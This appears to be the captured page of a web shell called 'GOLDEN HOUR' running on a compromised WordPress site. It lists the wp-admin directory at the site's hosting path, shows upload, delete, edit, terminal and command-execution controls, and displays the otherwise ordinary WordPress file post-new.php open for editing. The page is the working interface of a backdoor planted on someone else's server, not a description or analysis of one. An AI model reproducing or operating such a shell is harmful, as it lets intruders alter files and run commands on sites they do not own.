GOLDEN HOUR
DIR: /home/vlabbdco/public_html/LV/wp-admin
UP
UPLOAD
Name
Size
Action
about.php
18.82 KB
DEL
admin-ajax.php
4.83 KB
DEL
admin-footer.php
2.76 KB
DEL
admin-functions.php
406 B
DEL
admin-header.php
8.82 KB
DEL
admin-post.php
2 KB
DEL
admin.php
12.26 KB
DEL
async-upload.php
4.68 KB
DEL
authorize-application.php
10.09 KB
DEL
comment.php
11.29 KB
DEL
contribute.php
5.49 KB
DEL
credits.php
3.67 KB
DEL
[ css ]
-
DEL
custom-background.php
416 B
DEL
custom-header.php
426 B
DEL
customize.php
10.61 KB
DEL
edit-comments.php
14.38 KB
DEL
edit-form-advanced.php
28.63 KB
DEL
edit-form-blocks.php
11.74 KB
DEL
edit-form-comment.php
8.34 KB
DEL
edit-link-form.php
6.21 KB
DEL
edit-tag-form.php
10.45 KB
DEL
edit-tags.php
21.91 KB
DEL
edit.php
19.43 KB
DEL
erase-personal-data.php
7.36 KB
DEL
error_log
1.84 KB
DEL
export-personal-data.php
7.76 KB
DEL
export.php
11.01 KB
DEL
freedoms.php
4.43 KB
DEL
[ images ]
-
DEL
import.php
7.47 KB
DEL
[ includes ]
-
DEL
index.php
7.68 KB
DEL
install-helper.php
6.8 KB
DEL
install.php
17.09 KB
DEL
[ js ]
-
DEL
link-add.php
742 B
DEL
link-manager.php
4.26 KB
DEL
link-parse-opml.php
2.63 KB
DEL
link.php
2.7 KB
DEL
load-scripts.php
1.66 KB
DEL
load-styles.php
2.56 KB
DEL
[ maint ]
-
DEL
media-new.php
3.18 KB
DEL
media-upload.php
3.49 KB
DEL
media.php
763 B
DEL
menu-header.php
9.84 KB
DEL
menu.php
16.75 KB
DEL
moderation.php
307 B
DEL
ms-admin.php
196 B
DEL
ms-delete-site.php
4.19 KB
DEL
ms-edit.php
216 B
DEL
ms-options.php
223 B
DEL
ms-sites.php
215 B
DEL
ms-themes.php
217 B
DEL
ms-upgrade-network.php
219 B
DEL
ms-users.php
215 B
DEL
my-sites.php
4.74 KB
DEL
nav-menus.php
47.76 KB
DEL
[ network ]
-
DEL
network.php
5.35 KB
DEL
options-discussion.php
15.58 KB
DEL
options-general.php
16.79 KB
DEL
options-head.php
492 B
DEL
options-media.php
6.35 KB
DEL
options-permalink.php
21.12 KB
DEL
options-privacy.php
9.97 KB
DEL
options-reading.php
10.07 KB
DEL
options-writing.php
9.06 KB
DEL
options.php
13.3 KB
DEL
plugin-editor.php
13.39 KB
DEL
plugin-install.php
6.78 KB
DEL
plugins.php
28.82 KB
DEL
post-new.php
2.64 KB
DEL
post.php
9.85 KB
DEL
press-this.php
2.33 KB
DEL
privacy-policy-guide.php
3.67 KB
DEL
privacy.php
2.41 KB
DEL
profile.php
283 B
DEL
revision.php
5.47 KB
DEL
setup-config.php
17.33 KB
DEL
site-editor.php
5.96 KB
DEL
site-health-info.php
3.97 KB
DEL
site-health.php
10.14 KB
DEL
term.php
2.2 KB
DEL
theme-editor.php
15.15 KB
DEL
theme-install.php
23.35 KB
DEL
themes.php
46.89 KB
DEL
tools.php
3.43 KB
DEL
update-core.php
45.2 KB
DEL
update.php
12.43 KB
DEL
upgrade-functions.php
341 B
DEL
upgrade.php
5.55 KB
DEL
upload.php
14.84 KB
DEL
[ user ]
-
DEL
user-edit.php
39.07 KB
DEL
user-new.php
23.99 KB
DEL
users.php
23.29 KB
DEL
widgets-form-blocks.php
4.39 KB
DEL
widgets-form.php
19.17 KB
DEL
widgets.php
1.09 KB
DEL
Edit: post-new.php
<?php /** * New Post Administration Screen. * * @package WordPress * @subpackage Administration */ /** Load WordPress Administration Bootstrap */ require_once __DIR__ . '/admin.php'; /** * @global string $post_type * @global object $post_type_object * @global WP_Post $post Global post object. */ global $post_type, $post_type_object, $post; if ( ! isset( $_GET['post_type'] ) ) { $post_type = 'post'; } elseif ( in_array( $_GET['post_type'], get_post_types( array( 'show_ui' => true ) ), true ) ) { $post_type = $_GET['post_type']; } else { wp_die( __( 'Invalid post type.' ) ); } $post_type_object = get_post_type_object( $post_type ); if ( 'post' === $post_type ) { $parent_file = 'edit.php'; $submenu_file = 'post-new.php'; } elseif ( 'attachment' === $post_type ) { if ( wp_redirect( admin_url( 'media-new.php' ) ) ) { exit; } } else { $submenu_file = "post-new.php?post_type=$post_type"; if ( isset( $post_type_object ) && $post_type_object->show_in_menu && true !== $post_type_object->show_in_menu ) { $parent_file = $post_type_object->show_in_menu; // What if there isn't a post-new.php item for this post type? if ( ! isset( $_registered_pages[ get_plugin_page_hookname( "post-new.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { if ( isset( $_registered_pages[ get_plugin_page_hookname( "edit.php?post_type=$post_type", $post_type_object->show_in_menu ) ] ) ) { // Fall back to edit.php for that post type, if it exists. $submenu_file = "edit.php?post_type=$post_type"; } else { // Otherwise, give up and highlight the parent. $submenu_file = $parent_file; } } } else { $parent_file = "edit.php?post_type=$post_type"; } } $title = $post_type_object->labels->add_new_item; $editing = true; if ( ! current_user_can( $post_type_object->cap->edit_posts ) || ! current_user_can( $post_type_object->cap->create_posts ) ) { wp_die( '<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' . '<p>' . __( 'Sorry, you are not allowed to create posts as this user.' ) . '</p>', 403 ); } $post = get_default_post_to_edit( $post_type, true ); $post_ID = $post->ID; /** This filter is documented in wp-admin/post.php */ if ( apply_filters( 'replace_editor', false, $post ) !== true ) { if ( use_block_editor_for_post( $post ) ) { require ABSPATH . 'wp-admin/edit-form-blocks.php'; } else { wp_enqueue_script( 'autosave' ); require ABSPATH . 'wp-admin/edit-form-advanced.php'; } } else { // Flag that we're not loading the block editor. $current_screen = get_current_screen(); $current_screen->is_block_editor( false ); } require_once ABSPATH . 'wp-admin/admin-footer.php';
SAVE FILE
TERMINAL
EXEC